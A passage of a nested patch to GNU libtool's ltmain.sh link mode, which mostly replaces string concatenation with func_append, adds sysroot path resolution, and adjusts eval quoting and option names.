- func_fatal_help "the \`$prevarg' option requires an argument"
-
- if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then
-- eval "arg=\"$export_dynamic_flag_spec\""
-+ eval arg=\"$export_dynamic_flag_spec\"
- func_append compile_command " $arg"
- func_append finalize_command " $arg"
- fi
-@@ -5144,11 +6012,13 @@ func_mode_link ()
- else
- shlib_search_path=
- fi
-- eval "sys_lib_search_path=\"$sys_lib_search_path_spec\""
-- eval "sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\""
-+ eval sys_lib_search_path=\"$sys_lib_search_path_spec\"
-+ eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\"
-
- func_dirname "$output" "/" ""
- output_objdir="$func_dirname_result$objdir"
-+ func_to_tool_file "$output_objdir/"
-+ tool_output_objdir=$func_to_tool_file_result
- # Create the object directory.
- func_mkdir_p "$output_objdir"
-
-@@ -5169,12 +6039,12 @@ func_mode_link ()
- # Find all interdependent deplibs by searching for libraries
- # that are linked more than once (e.g. -la -lb -la)
- for deplib in $deplibs; do
-- if $opt_duplicate_deps ; then
-+ if $opt_preserve_dup_deps ; then
- case "$libs " in
-- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
-+ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
- esac
- fi
-- libs="$libs $deplib"
-+ func_append libs " $deplib"
- done
-
- if test "$linkmode" = lib; then
-@@ -5187,9 +6057,9 @@ func_mode_link ()
- if $opt_duplicate_compiler_generated_deps; then
- for pre_post_dep in $predeps $postdeps; do
- case "$pre_post_deps " in
-- *" $pre_post_dep "*) specialdeplibs="$specialdeplibs $pre_post_deps" ;;
-+ *" $pre_post_dep "*) func_append specialdeplibs " $pre_post_deps" ;;
- esac
-- pre_post_deps="$pre_post_deps $pre_post_dep"
-+ func_append pre_post_deps " $pre_post_dep"
- done
- fi
- pre_post_deps=
-@@ -5256,8 +6126,9 @@ func_mode_link ()
- for lib in $dlprefiles; do
- # Ignore non-libtool-libs
- dependency_libs=
-+ func_resolve_sysroot "$lib"
- case $lib in
-- *.la) func_source "$lib" ;;
-+ *.la) func_source "$func_resolve_sysroot_result" ;;
- esac
-
- # Collect preopened libtool deplibs, except any this library
-@@ -5267,7 +6138,7 @@ func_mode_link ()
- deplib_base=$func_basename_result
- case " $weak_libs " in
- *" $deplib_base "*) ;;
-- *) deplibs="$deplibs $deplib" ;;
-+ *) func_append deplibs " $deplib" ;;
- esac
- done
- done
-@@ -5288,11 +6159,11 @@ func_mode_link ()
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
-- compiler_flags="$compiler_flags $deplib"
-+ func_append compiler_flags " $deplib"
- if test "$linkmode" = lib ; then
- case "$new_inherited_linker_flags " in
- *" $deplib "*) ;;
-- * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;;
-+ * ) func_append new_inherited_linker_flags " $deplib" ;;
- esac
- fi
- fi
-@@ -5377,7 +6248,7 @@ func_mode_link ()
- if test "$linkmode" = lib ; then
- case "$new_inherited_linker_flags " in
- *" $deplib "*) ;;
-- * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;;
-+ * ) func_append new_inherited_linker_flags " $deplib" ;;
- esac
- fi
- fi
-@@ -5390,7 +6261,8 @@ func_mode_link ()
- test "$pass" = conv && continue
- newdependency_libs="$deplib $newdependency_libs"
- func_stripname '-L' '' "$deplib"
-- newlib_search_path="$newlib_search_path $func_stripname_result"
-+ func_resolve_sysroot "$func_stripname_result"
-+ func_append newlib_search_path " $func_resolve_sysroot_result"
- ;;
- prog)
- if test "$pass" = conv; then
-@@ -5404,7 +6276,8 @@ func_mode_link ()
- finalize_deplibs="$deplib $finalize_deplibs"
- fi
- func_stripname '-L' '' "$deplib"
-- newlib_search_path="$newlib_search_path $func_stripname_result"
-+ func_resolve_sysroot "$func_stripname_result"
-+ func_append newlib_search_path " $func_resolve_sysroot_result"
- ;;
- *)
- func_warning "\`-L' is ignored for archives/objects"
-@@ -5415,17 +6288,21 @@ func_mode_link ()
- -R*)
- if test "$pass" = link; then
- func_stripname '-R' '' "$deplib"
-- dir=$func_stripname_result
-+ func_resolve_sysroot "$func_stripname_result"
-+ dir=$func_resolve_sysroot_result
- # Make sure the xrpath contains only unique directories.
- case "$xrpath " in
- *" $dir "*) ;;
-- *) xrpath="$xrpath $dir" ;;
-+ *) func_append xrpath " $dir" ;;
- esac
- fi
- deplibs="$deplib $deplibs"
- continue
- ;;
-- *.la) lib="$deplib" ;;
-+ *.la)
-+ func_resolve_sysroot "$deplib"
-+ lib=$func_resolve_sysroot_result
-+ ;;
- *.$libext)
- if test "$pass" = conv; then
- deplibs="$deplib $deplibs"
-@@ -5488,11 +6365,11 @@ func_mode_link ()
- if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then
- # If there is no dlopen support or we're linking statically,
- # we need to preload.
-- newdlprefiles="$newdlprefiles $deplib"
-+ func_append newdlprefiles " $deplib"
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
-- newdlfiles="$newdlfiles $deplib"
-+ func_append newdlfiles " $deplib"
- fi
- fi
- continue
-@@ -5538,7 +6415,7 @@ func_mode_link ()
- for tmp_inherited_linker_flag in $tmp_inherited_linker_flags; do
- case " $new_inherited_linker_flags " in
- *" $tmp_inherited_linker_flag "*) ;;
-- *) new_inherited_linker_flags="$new_inherited_linker_flags $tmp_inherited_linker_flag";;
-+ *) func_append new_inherited_linker_flags " $tmp_inherited_linker_flag";;
- esac
- done
- fi
-@@ -5546,8 +6423,8 @@ func_mode_link ()
- if test "$linkmode,$pass" = "lib,link" ||
- test "$linkmode,$pass" = "prog,scan" ||
- { test "$linkmode" != prog && test "$linkmode" != lib; }; then
-- test -n "$dlopen" && dlfiles="$dlfiles $dlopen"
-- test -n "$dlpreopen" && dlprefiles="$dlprefiles $dlpreopen"
-+ test -n "$dlopen" && func_append dlfiles " $dlopen"
-+ test -n "$dlpreopen" && func_append dlprefiles " $dlpreopen"
- fi
-
- if test "$pass" = conv; then
-@@ -5558,20 +6435,20 @@ func_mode_link ()
- func_fatal_error "cannot find name of link library for \`$lib'"
- fi
- # It is a libtool convenience library, so add in its objects.
-- convenience="$convenience $ladir/$objdir/$old_library"
-- old_convenience="$old_convenience $ladir/$objdir/$old_library"
-+ func_append convenience " $ladir/$objdir/$old_library"
-+ func_append old_convenience " $ladir/$objdir/$old_library"
- elif test "$linkmode" != prog && test "$linkmode" != lib; then
- func_fatal_error "\`$lib' is not a convenience library"
- fi
- tmp_libs=
- for deplib in $dependency_libs; do
- deplibs="$deplib $deplibs"
-- if $opt_duplicate_deps ; then
-+ if $opt_preserve_dup_deps ; then
- case "$tmp_libs " in
-- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
-+ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
- esac
- fi
-- tmp_libs="$tmp_libs $deplib"
-+ func_append tmp_libs " $deplib"
- done
- continue
- fi # $pass = conv
-@@ -5579,9 +6456,15 @@ func_mode_link ()
-
- # Get the name of the library we link against.
- linklib=
-- for l in $old_library $library_names; do
-- linklib="$l"
-- done
-+ if test -n "$old_library" &&
-+ { test "$prefer_static_libs" = yes ||
-+ test "$prefer_static_libs,$installed" = "built,no"; }; then
-+ linklib=$old_library
-+ else
-+ for l in $old_library $library_names; do
-+ linklib="$l"
-+ done
-+ fi
- if test -z "$linklib"; then
- func_fatal_error "cannot find name of link library for \`$lib'"
- fi
-@@ -5598,9 +6481,9 @@ func_mode_link ()
- # statically, we need to preload. We also need to preload any
- # dependent libraries so libltdl's deplib preloader doesn't
- # bomb out in the load deplibs phase.
-- dlprefiles="$dlprefiles $lib $dependency_libs"
-+ func_append dlprefiles " $lib $dependency_libs"
- else
-- newdlfiles="$newdlfiles $lib"
-+ func_append newdlfiles " $lib"
- fi
- continue
- fi # $pass = dlopen
-@@ -5622,14 +6505,14 @@ func_mode_link ()
-
- # Find the relevant object directory and library name.
- if test "X$installed" = Xyes; then
-- if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then
-+ if test ! -f "$lt_sysroot$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then
- func_warning "library \`$lib' was moved."
- dir="$ladir"
- absdir="$abs_ladir"
- libdir="$abs_ladir"
- else
-- dir="$libdir"
-- absdir="$libdir"
-+ dir="$lt_sysroot$libdir"
-+ absdir="$lt_sysroot$libdir"
- fi
- test "X$hardcode_automatic" = Xyes && avoidtemprpath=yes
- else
-@@ -5637,12 +6520,12 @@ func_mode_link ()
- dir="$ladir"
- absdir="$abs_ladir"
- # Remove this search path later
-- notinst_path="$notinst_path $abs_ladir"
-+ func_append notinst_path " $abs_ladir"
- else
- dir="$ladir/$objdir"
- absdir="$abs_ladir/$objdir"
- # Remove this search path later
-- notinst_path="$notinst_path $abs_ladir"
-+ func_append notinst_path " $abs_ladir"
- fi
- fi # $installed = yes
- func_stripname 'lib' '.la' "$laname"
-@@ -5653,20 +6536,46 @@ func_mode_link ()
- if test -z "$libdir" && test "$linkmode" = prog; then
- func_fatal_error "only libraries may -dlpreopen a convenience library: \`$lib'"
- fi
-- # Prefer using a static library (so that no silly _DYNAMIC symbols
-- # are required to link).
-- if test -n "$old_library"; then
-- newdlprefiles="$newdlprefiles $dir/$old_library"
-- # Keep a list of preopened convenience libraries to check
-- # that they are being used correctly in the link pass.
-- test -z "$libdir" && \
-- dlpreconveniencelibs="$dlpreconveniencelibs $dir/$old_library"
-- # Otherwise, use the dlname, so that lt_dlopen finds it.
-- elif test -n "$dlname"; then
-- newdlprefiles="$newdlprefiles $dir/$dlname"
-- else
-- newdlprefiles="$newdlprefiles $dir/$linklib"
-- fi
-+ case "$host" in
-+ # special handling for platforms with PE-DLLs.
-+ *cygwin* | *mingw* | *cegcc* )
-+ # Linker will automatically link against shared library if both
-+ # static and shared are present. Therefore, ensure we extract
-+ # symbols from the import library if a shared library is present
-+ # (otherwise, the dlopen module name will be incorrect). We do
-+ # this by putting the import library name into $newdlprefiles.
-+ # We recover the dlopen module name by 'saving' the la file
-+ # name in a special purpose variable, and (later) extracting the
-+ # dlname from the la file.
-+ if test -n "$dlname"; then
-+ func_tr_sh "$dir/$linklib"
-+ eval "libfile_$func_tr_sh_result=\$abs_ladir/\$laname"
-+ func_append newdlprefiles " $dir/$linklib"
-+ else
-+ func_append newdlprefiles " $dir/$old_library"
-+ # Keep a list of preopened convenience libraries to check
-+ # that they are being used correctly in the link pass.
-+ test -z "$libdir" && \
-+ func_append dlpreconveniencelibs " $dir/$old_library"
-+ fi
-+ ;;
-+ * )
-+ # Prefer using a static library (so that no silly _DYNAMIC symbols
-+ # are required to link).
-+ if test -n "$old_library"; then
-+ func_append newdlprefiles " $dir/$old_library"
-+ # Keep a list of preopened convenience libraries to check
-+ # that they are being used correctly in the link pass.
-+ test -z "$libdir" && \
-+ func_append dlpreconveniencelibs " $dir/$old_library"
-+ # Otherwise, use the dlname, so that lt_dlopen finds it.
-+ elif test -n "$dlname"; then
-+ func_append newdlprefiles " $dir/$dlname"
-+ else
-+ func_append newdlprefiles " $dir/$linklib"
-+ fi
-+ ;;
-+ esac
- fi # $pass = dlpreopen
-
- if test -z "$libdir"; then
-@@ -5684,7 +6593,7 @@ func_mode_link ()
-
-
- if test "$linkmode" = prog && test "$pass" != link; then
-- newlib_search_path="$newlib_search_path $ladir"
-+ func_append newlib_search_path " $ladir"
- deplibs="$lib $deplibs"
-
- linkalldeplibs=no
-@@ -5697,7 +6606,8 @@ func_mode_link ()
- for deplib in $dependency_libs; do
- case $deplib in
- -L*) func_stripname '-L' '' "$deplib"
-- newlib_search_path="$newlib_search_path $func_stripname_result"
-+ func_resolve_sysroot "$func_stripname_result"
-+ func_append newlib_search_path " $func_resolve_sysroot_result"
- ;;
- esac
- # Need to link against all dependency_libs?
-@@ -5708,12 +6618,12 @@ func_mode_link ()
- # or/and link against static libraries
- newdependency_libs="$deplib $newdependency_libs"
- fi
-- if $opt_duplicate_deps ; then
-+ if $opt_preserve_dup_deps ; then
- case "$tmp_libs " in
-- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
-+ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
- esac
- fi
-- tmp_libs="$tmp_libs $deplib"
-+ func_append tmp_libs " $deplib"
- done # for deplib
- continue
- fi # $linkmode = prog...
-@@ -5728,7 +6638,7 @@ func_mode_link ()
- # Make sure the rpath contains only unique directories.
- case "$temp_rpath:" in
- *"$absdir:"*) ;;
-- *) temp_rpath="$temp_rpath$absdir:" ;;
-+ *) func_append temp_rpath "$absdir:" ;;
- esac
- fi
-
-@@ -5740,7 +6650,7 @@ func_mode_link ()
- *)
- case "$compile_rpath " in
- *" $absdir "*) ;;
-- *) compile_rpath="$compile_rpath $absdir"
-+ *) func_append compile_rpath " $absdir" ;;
- esac
- ;;
- esac
-@@ -5749,7 +6659,7 @@ func_mode_link ()
- *)
- case "$finalize_rpath " in
- *" $libdir "*) ;;
-- *) finalize_rpath="$finalize_rpath $libdir"
-+ *) func_append finalize_rpath " $libdir" ;;
- esac
- ;;
- esac
-@@ -5774,12 +6684,12 @@ func_mode_link ()
- case $host in
- *cygwin* | *mingw* | *cegcc*)
- # No point in relinking DLLs because paths are not encoded
-- notinst_deplibs="$notinst_deplibs $lib"
-+ func_append notinst_deplibs " $lib"
- need_relink=no
- ;;
- *)
- if test "$installed" = no; then
-- notinst_deplibs="$notinst_deplibs $lib"
-+ func_append notinst_deplibs " $lib"
- need_relink=yes
- fi
- ;;
-@@ -5814,7 +6724,7 @@ func_mode_link ()
- *)
- case "$compile_rpath " in
- *" $absdir "*) ;;
-- *) compile_rpath="$compile_rpath $absdir"
-+ *) func_append compile_rpath " $absdir" ;;
- esac
- ;;
- esac
-@@ -5823,7 +6733,7 @@ func_mode_link ()
- *)
- case "$finalize_rpath " in
- *" $libdir "*) ;;
-- *) finalize_rpath="$finalize_rpath $libdir"
-+ *) func_append finalize_rpath " $libdir" ;;
- esac
- ;;
- esac
-@@ -5835,7 +6745,7 @@ func_mode_link ()
- shift
- realname="$1"
- shift
-- eval "libname=\"$libname_spec\""
-+ libname=`eval "\\$ECHO \"$libname_spec\""`
- # use dlname if we got it. it's perfectly good, no?
- if test -n "$dlname"; then
- soname="$dlname"
-@@ -5848,7 +6758,7 @@ func_mode_link ()
- versuffix="-$major"
- ;;
- esac
-- eval "soname=\"$soname_spec\""
-+ eval soname=\"$soname_spec\"
- else
- soname="$realname"
- fi
-@@ -5877,7 +6787,7 @@ func_mode_link ()
- linklib=$newlib
- fi # test -n "$old_archive_from_expsyms_cmds"
-
-- if test "$linkmode" = prog || test "$mode" != relink; then
-+ if test "$linkmode" = prog || test "$opt_mode" != relink; then
- add_shlibpath=
- add_dir=
- add=
-@@ -5933,7 +6843,7 @@ func_mode_link ()
- if test -n "$inst_prefix_dir"; then
- case $libdir in
- [\\/]*)
-- add_dir="$add_dir -L$inst_prefix_dir$libdir"
-+ func_append add_dir " -L$inst_prefix_dir$libdir"
- ;;
- esac
- fi
-@@ -5955,7 +6865,7 @@ func_mode_link ()
- if test -n "$add_shlibpath"; then
- case :$compile_shlibpath: in
- *":$add_shlibpath:"*) ;;
-- *) compile_shlibpath="$compile_shlibpath$add_shlibpath:" ;;
-+ *) func_append compile_shlibpath "$add_shlibpath:" ;;
- esac
- fi
- if test "$linkmode" = prog; then
-@@ -5969,13 +6879,13 @@ func_mode_link ()
- test "$hardcode_shlibpath_var" = yes; then
- case :$finalize_shlibpath: in
- *":$libdir:"*) ;;
-- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
-+ *) func_append finalize_shlibpath "$libdir:" ;;
- esac
- fi
- fi
- fi
-
-- if test "$linkmode" = prog || test "$mode" = relink; then
-+ if test "$linkmode" = prog || test "$opt_mode" = relink; then
- add_shlibpath=
- add_dir=
- add=
-@@ -5989,7 +6899,7 @@ func_mode_link ()
- elif test "$hardcode_shlibpath_var" = yes; then
- case :$finalize_shlibpath: in
- *":$libdir:"*) ;;
-- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
-+ *) func_append finalize_shlibpath "$libdir:" ;;
- esac
- add="-l$name"
- elif test "$hardcode_automatic" = yes; then
-@@ -6001,12 +6911,12 @@ func_mode_link ()
- fi
- else
- # We cannot seem to hardcode it, guess we'll fake it.
-- add_dir="-L$libdir"
-+ add_dir="-L$lt_sysroot$libdir"
- # Try looking first in the location we're being installed to.
- if test -n "$inst_prefix_dir"; then
- case $libdir in
- [\\/]*)
-- add_dir="$add_dir -L$inst_prefix_dir$libdir"
-+ func_append add_dir " -L$inst_prefix_dir$libdir"
- ;;
- esac
- fi
-@@ -6083,27 +6993,33 @@ func_mode_link ()
- temp_xrpath=$func_stripname_result
- case " $xrpath " in
- *" $temp_xrpath "*) ;;
-- *) xrpath="$xrpath $temp_xrpath";;
-+ *) func_append xrpath " $temp_xrpath";;
- esac;;
-- *) temp_deplibs="$temp_deplibs $libdir";;
-+ *) func_append temp_deplibs " $libdir";;
- esac
- done
- dependency_libs="$temp_deplibs"
- fi
-
-- newlib_search_path="$newlib_search_path $absdir"
-+ func_append newlib_search_path " $absdir"
- # Link against this library
- test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs"
- # ... and its dependency_libs
- tmp_libs=
- for deplib in $dependency_libs; do
- newdependency_libs="$deplib $newdependency_libs"
-- if $opt_duplicate_deps ; then
-+ case $deplib in
-+ -L*) func_stripname '-L' '' "$deplib"
-+ func_resolve_sysroot "$func_stripname_result";;
-+ *) func_resolve_sysroot "$deplib" ;;
-+ esac
-+ if $opt_preserve_dup_deps ; then
- case "$tmp_libs " in
-- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
-+ *" $func_resolve_sysroot_result "*)
-+ func_append specialdeplibs " $func_resolve_sysroot_result" ;;
- esac
- fi
-- tmp_libs="$tmp_libs $deplib"
-+ func_append tmp_libs " $func_resolve_sysroot_result"
- done
-
- if test "$link_all_deplibs" != no; then
-@@ -6113,8 +7029,10 @@ func_mode_link ()
- case $deplib in
- -L*) path="$deplib" ;;
- *.la)
-+ func_resolve_sysroot "$deplib"
-+ deplib=$func_resolve_sysroot_result
- func_dirname "$deplib" "" "."
-- dir="$func_dirname_result"
-+ dir=$func_dirname_result
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;;
-@@ -6130,7 +7048,7 @@ func_mode_link ()
- case $host in
- *-*-darwin*)
- depdepl=
-- deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib`
-+ eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib`
- if test -n "$deplibrary_names" ; then
- for tmp in $deplibrary_names ; do
- depdepl=$tmp
-@@ -6141,8 +7059,8 @@ func_mode_link ()
- if test -z "$darwin_install_name"; then
- darwin_install_name=`${OTOOL64} -L $depdepl | awk '{if (NR == 2) {print $1;exit}}'`
- fi
-- compiler_flags="$compiler_flags ${wl}-dylib_file ${wl}${darwin_install_name}:${depdepl}"
-- linker_flags="$linker_flags -dylib_file ${darwin_install_name}:${depdepl}"
-+ func_append compiler_flags " ${wl}-dylib_file ${wl}${darwin_install_name}:${depdepl}"
-+ func_append linker_flags " -dylib_file ${darwin_install_name}:${depdepl}"
- path=
- fi
- fi
-@@ -6152,7 +7070,7 @@ func_mode_link ()
- ;;
- esac
- else
-- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
-+ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
- test -z "$libdir" && \
- func_fatal_error "\`$deplib' is not a valid libtool archive"
- test "$absdir" != "$libdir" && \
-@@ -6192,7 +7110,7 @@ func_mode_link ()
- for dir in $newlib_search_path; do
- case "$lib_search_path " in
- *" $dir "*) ;;
-- *) lib_search_path="$lib_search_path $dir" ;;
-+ *) func_append lib_search_path " $dir" ;;
- esac
- done
- newlib_search_path=
-@@ -6205,7 +7123,7 @@ func_mode_link ()
- fi
- for var in $vars dependency_libs; do
- # Add libraries to $var in reverse order
-- eval tmp_libs=\$$var
-+ eval tmp_libs=\"\$$var\"
- new_libs=
- for deplib in $tmp_libs; do
- # FIXME: Pedantically, this is the right thing to do, so
-@@ -6250,13 +7168,13 @@ func_mode_link ()
- -L*)
- case " $tmp_libs " in
- *" $deplib "*) ;;
-- *) tmp_libs="$tmp_libs $deplib" ;;
-+ *) func_append tmp_libs " $deplib" ;;
- esac
- ;;
-- *) tmp_libs="$tmp_libs $deplib" ;;
-+ *) func_append tmp_libs " $deplib" ;;
- esac
- done
-- eval $var=\$tmp_libs
-+ eval $var=\"$tmp_libs\"
- done # for var
- fi
- # Last step: remove runtime libs from dependency_libs
-@@ -6269,7 +7187,7 @@ func_mode_link ()
- ;;
- esac
- if test -n "$i" ; then
-- tmp_libs="$tmp_libs $i"
-+ func_append tmp_libs " $i"
- fi
- done
- dependency_libs=$tmp_libs
-@@ -6310,7 +7228,7 @@ func_mode_link ()
- # Now set the variables for building old libraries.
- build_libtool_libs=no
- oldlibs="$output"
-- objs="$objs$old_deplibs"
-+ func_append objs "$old_deplibs"
- ;;
-
- lib)
-@@ -6319,8 +7237,8 @@ func_mode_link ()
- lib*)
- func_stripname 'lib' '.la' "$outputname"
- name=$func_stripname_result
-- eval "shared_ext=\"$shrext_cmds\""
-- eval "libname=\"$libname_spec\""
-+ eval shared_ext=\"$shrext_cmds\"
-+ eval libname=\"$libname_spec\"
- ;;
- *)
- test "$module" = no && \
-@@ -6330,8 +7248,8 @@ func_mode_link ()
- # Add the "lib" prefix for modules if required
- func_stripname '' '.la' "$outputname"
- name=$func_stripname_result
-- eval "shared_ext=\"$shrext_cmds\""
-- eval "libname=\"$libname_spec\""
-+ eval shared_ext=\"$shrext_cmds\"
-+ eval libname=\"$libname_spec\"
- else
- func_stripname '' '.la' "$outputname"
- libname=$func_stripname_result
-@@ -6346,7 +7264,7 @@ func_mode_link ()
- echo
- $ECHO "*** Warning: Linking the shared library $output against the non-libtool"
- $ECHO "*** objects $objs is not portable!"
-- libobjs="$libobjs $objs"
-+ func_append libobjs " $objs"
- fi
- fi
-
-@@ -6544,7 +7462,7 @@ func_mode_link ()
- done
-
- # Make executables depend on our current version.
-- verstring="$verstring:${current}.0"
-+ func_append verstring ":${current}.0"
- ;;
-
- qnx)
-@@ -6612,10 +7530,10 @@ func_mode_link ()
- fi
-
- func_generate_dlsyms "$libname" "$libname" "yes"
-- libobjs="$libobjs $symfileobj"
-+ func_append libobjs " $symfileobj"
- test "X$libobjs" = "X " && libobjs=
-
-- if test "$mode" != relink; then
-+ if test "$opt_mode" != relink; then
- # Remove our outputs, but don't remove object files since they
- # may have been created when compiling PIC objects.
- removelist=
-@@ -6631,7 +7549,7 @@ func_mode_link ()
- continue
- fi
- fi
-- removelist="$removelist $p"
-+ func_append removelist " $p"
- ;;
- *) ;;
- esac
-@@ -6642,7 +7560,7 @@ func_mode_link ()
-
- # Now set the variables for building old libraries.
- if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then
-- oldlibs="$oldlibs $output_objdir/$libname.$libext"
-+ func_append oldlibs " $output_objdir/$libname.$libext"
-
- # Transform .lo files to .o files.
- oldobjs="$objs "`$ECHO "$libobjs" | $SP2NL | $SED "/\.${libext}$/d; $lo2o" | $NL2SP`
-@@ -6659,10 +7577,11 @@ func_mode_link ()
- # If the user specified any rpath flags, then add them.
- temp_xrpath=
- for libdir in $xrpath; do
-- temp_xrpath="$temp_xrpath -R$libdir"
-+ func_replace_sysroot "$libdir"
-+ func_append temp_xrpath " -R$func_replace_sysroot_result"
- case "$finalize_rpath " in
- *" $libdir "*) ;;
-- *) finalize_rpath="$finalize_rpath $libdir" ;;
-+ *) func_append finalize_rpath " $libdir" ;;
- esac
- done
- if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then
-@@ -6676,7 +7595,7 @@ func_mode_link ()
- for lib in $old_dlfiles; do
- case " $dlprefiles $dlfiles " in
- *" $lib "*) ;;
-- *) dlfiles="$dlfiles $lib" ;;
-+ *) func_append dlfiles " $lib" ;;
- esac
- done
-
-@@ -6686,7 +7605,7 @@ func_mode_link ()
- for lib in $old_dlprefiles; do
- case "$dlprefiles " in
- *" $lib "*) ;;
-- *) dlprefiles="$dlprefiles $lib" ;;
-+ *) func_append dlprefiles " $lib" ;;
- esac
- done
-
-@@ -6698,7 +7617,7 @@ func_mode_link ()
- ;;
- *-*-rhapsody* | *-*-darwin1.[012])
- # Rhapsody C library is in the System framework
-- deplibs="$deplibs System.ltframework"
-+ func_append deplibs " System.ltframework"
- ;;
- *-*-netbsd*)
- # Don't link with libc until the a.out ld.so is fixed.
-@@ -6715,7 +7634,7 @@ func_mode_link ()
- *)
- # Add libc to deplibs on all other systems if necessary.
- if test "$build_libtool_need_lc" = "yes"; then
-- deplibs="$deplibs -lc"
-+ func_append deplibs " -lc"
- fi
- ;;
- esac
-@@ -6764,18 +7683,18 @@ EOF
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $i "*)
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- i=""
- ;;
- esac
- fi
- if test -n "$i" ; then
-- eval "libname=\"$libname_spec\""
-- eval "deplib_matches=\"$library_names_spec\""
-+ libname=`eval "\\$ECHO \"$libname_spec\""`
-+ deplib_matches=`eval "\\$ECHO \"$library_names_spec\""`
- set dummy $deplib_matches; shift
- deplib_match=$1
- if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- else
- droppeddeps=yes
- echo
-@@ -6789,7 +7708,7 @@ EOF
- fi
- ;;
- *)
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- ;;
- esac
- done
-@@ -6807,18 +7726,18 @@ EOF
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $i "*)
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- i=""
- ;;
- esac
- fi
- if test -n "$i" ; then
-- eval "libname=\"$libname_spec\""
-- eval "deplib_matches=\"$library_names_spec\""
-+ libname=`eval "\\$ECHO \"$libname_spec\""`
-+ deplib_matches=`eval "\\$ECHO \"$library_names_spec\""`
- set dummy $deplib_matches; shift
- deplib_match=$1
- if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- else
- droppeddeps=yes
- echo
-@@ -6840,7 +7759,7 @@ EOF
- fi
- ;;
- *)
-- newdeplibs="$newdeplibs $i"
-+ func_append newdeplibs " $i"
- ;;
- esac
- done
-@@ -6857,15 +7776,27 @@ EOF
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $a_deplib "*)
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- a_deplib=""
- ;;
- esac
- fi
- if test -n "$a_deplib" ; then
-- eval "libname=\"$libname_spec\""
-+ libname=`eval "\\$ECHO \"$libname_spec\""`
-+ if test -n "$file_magic_glob"; then
-+ libnameglob=`func_echo_all "$libname" | $SED -e $file_magic_glob`
-+ else
-+ libnameglob=$libname
-+ fi
-+ test "$want_nocaseglob" = yes && nocaseglob=`shopt -p nocaseglob`
- for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
-- potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
-+ if test "$want_nocaseglob" = yes; then
-+ shopt -s nocaseglob
-+ potential_libs=`ls $i/$libnameglob[.-]* 2>/dev/null`
-+ $nocaseglob
-+ else
-+ potential_libs=`ls $i/$libnameglob[.-]* 2>/dev/null`
-+ fi
- for potent_lib in $potential_libs; do
- # Follow soft links.
- if ls -lLd "$potent_lib" 2>/dev/null |
-@@ -6885,10 +7816,10 @@ EOF
- *) potlib=`$ECHO "$potlib" | $SED 's,[^/]*$,,'`"$potliblink";;
- esac
- done
-- if eval "$file_magic_cmd \"\$potlib\"" 2>/dev/null |
-+ if eval $file_magic_cmd \"\$potlib\" 2>/dev/null |
- $SED -e 10q |
- $EGREP "$file_magic_regex" > /dev/null; then
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- a_deplib=""
- break 2
- fi
-@@ -6913,7 +7844,7 @@ EOF
- ;;
- *)
- # Add a -L argument.
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- ;;
- esac
- done # Gone through all deplibs.
-@@ -6929,20 +7860,20 @@ EOF
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $a_deplib "*)
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- a_deplib=""
- ;;
- esac
- fi
- if test -n "$a_deplib" ; then
-- eval "libname=\"$libname_spec\""
-+ libname=`eval "\\$ECHO \"$libname_spec\""`
- for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
- potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
- for potent_lib in $potential_libs; do
- potlib="$potent_lib" # see symlink-check above in file_magic test
- if eval "\$ECHO \"$potent_lib\"" 2>/dev/null | $SED 10q | \
- $EGREP "$match_pattern_regex" > /dev/null; then
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- a_deplib=""
- break 2
- fi
